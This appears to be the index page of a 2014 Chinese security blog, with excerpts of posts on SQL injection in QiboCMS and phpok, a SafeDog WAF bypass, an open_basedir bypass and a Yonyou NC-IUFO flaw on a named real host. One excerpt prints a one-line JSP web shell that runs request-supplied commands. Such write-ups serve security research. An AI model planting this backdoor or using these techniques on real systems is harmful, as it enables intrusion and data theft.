齐博CMS注入漏洞

admin 发布于 2014-12-23 04:46
/wei/js.php中 if($type=='hot'||$type=='com'||$type=='new'||$type=='lastview'||$type=='like') { if($f_id) { if(is_numeric($f_id)){ $SQL=...
标签: 注入 齐博CMS
评论(0) 浏览(13229)

phpok sql注入

admin 发布于 2014-12-23 04:36
phpok4.2.083，刚下的 1.safekey固定，导致加密函数可逆 2.使用固定的safekey加密后发起攻击请求，加密内容在代码中解密，绕过了过滤 /install/index.php中 $content = file_get_contents(ROOT."config.php"); //查...
标签: 注入 phpok
评论(0) 浏览(12779)

绕过最新安全狗

admin 发布于 2014-12-21 07:56
最近在做特征的时候发现IPS的检测中往往会有一个最大检测长度，譬如IPS最大检测长度可能于数据包的个数或则数据流的长度有关。于是乎就想着做了个测试，测试安全狗的检测是否也会有长度的限制，于是乎就有了此篇帖子。 测试步骤： 1：使用wamp搭建一个web环境，并且安装最新版本的安全狗，3.1.0.9833. 2：下面就开始测试了，我使用python书...
标签: 过狗 安全狗绕过
评论(0) 浏览(13338)

jsp小后门

admin 发布于 2014-12-18 02:11
一：执行系统命令: 无回显执行系统命令： <%Runtime.getRuntime().exec(request.getParameter("i"));%> 请求：http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls 执行之后不会有任何回显，用来反弹个shell很方便。 有回显带密码验证的:...
标签: jsp 后门
评论(0) 浏览(13967)

多种方法阻止网站被恶意反向代理

admin 发布于 2014-12-15 13:07
恶意反向代理的危害以及如何阻止网站被方向代理 首先肯定会占用服务器资源，网站打开速度受影响。 其次，别人通过代理盗用你的网站数据，对用户与不是那么智能的搜索引擎而言，相当于建了一个与你一模一样的站点，那么很有可能你的站点会进搜索引擎沙箱，甚至被降权。 如果被恶意代理的页面，还挂有你的联盟广告（比如Adsense），这就十分危险了，如果有人点击了上面...
标签: 反向代理
评论(0) 浏览(15353)

phpok最新版sql注入（盲注）

admin 发布于 2014-12-15 07:13
在framework/www/open_control.php中: //网址列表，这里读的是项目的网址列表 function url_f() { $id = $this->get("id"); if(!$id) $id = "content"; $this->...
标签: 注入 phpok
评论(0) 浏览(12652)

phpok 最新版sql注入打包

admin 发布于 2014-12-11 11:33
网站在初始化的时候会装载一些资源引擎，其中装载了一个session_file.php，用于初始化session 文件framework/engine/session/file.php: function __construct($config) { if(!$config || !is_array($config...
标签: 注入 phpok
评论(2) 浏览(13175)

用友NC-IUFO报表系统部分安全问题

admin 发布于 2014-12-09 10:35
link： http://iufo.cofco.com/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.login.LoginAction 用户信息泄漏 link： http://iufo.cofco.com/service/~iufo/com.ufida.w...
标签: 用友
评论(0) 浏览(19128)

php5全版本绕过open_basedir读文件脚本

admin 发布于 2014-12-09 10:23
这是前段时间写的代码了（http://www.weibo.com/1074745063/ByAPqj7s0），最近一直忙着和几个同学一起做非安全类的创业项目。所以也没拿到JAE、SAE测试一下。 不说了。。进入正题。 漏洞很久之前（大概5年前）被提出来了，但并不是php代码上的问题，所以问题一直存在，直到现在。我一直没留意，后来yaseng告诉我的，他测试...
标签: php5 open_basedir
评论(0) 浏览(12894)

XAE 沙盒绕过

admin 发布于 2014-12-09 10:21
看到今天fd上GAE的java沙盒的绕过 http://seclists.org/fulldisclosure/2014/Dec/26 security-explorations 报告他们发现了30+ 的问题，poc写了17个 最后说没有测完。 真心牛X。 翻他们之前的papper，非常赞。 推荐之 http://www.security-explora...
标签: 绕过 xae
评论(0) 浏览(12752)

感谢9年的陪伴，江湖再见！！！

标签

热门文章

链接